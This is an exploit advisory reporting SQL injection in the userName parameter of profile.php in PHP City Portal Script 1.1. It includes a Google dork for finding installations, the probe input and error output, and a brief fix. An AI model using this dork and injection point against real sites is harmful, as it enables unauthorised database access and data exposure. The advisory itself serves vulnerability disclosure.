PHP City Portal Script 1.1 SQL Injection

`############################################################################  
# Exploit Title: *Php City Portal Script Software SQL Injection*  
# Google Dork: *Powered by PHPCityPortal.com*  
# Date: *Decembar/07/2011*  
# Author: *Don (BalcanCrew & BalcanHack)*  
# Software Link: *http://phpcityportal.com*  
# Version: *1.1*  
# Tested on: *Apache (Unix)*  
############################################################################  
# An attacker may execute arbitrary SQL statements on the vulnerable system.  
# This may compromise the integrity of your database and/or expose  
sensitive information.  
############################################################################  
*Attack details:*  
  
URL encoded GET input userName was set to *1'*  
Error message found: supplied argument is not a valid MySQL result  
  
Vulnerability:  
*http://localhost/phpcityportal/profile.php?userName= (SQL)*  
  
*How to fix this vulnerability:*  
Filter metacharacters from user input.  
  
*NOTE!*  
*You have to be logged in!*  
  
~Don 2011  
  
`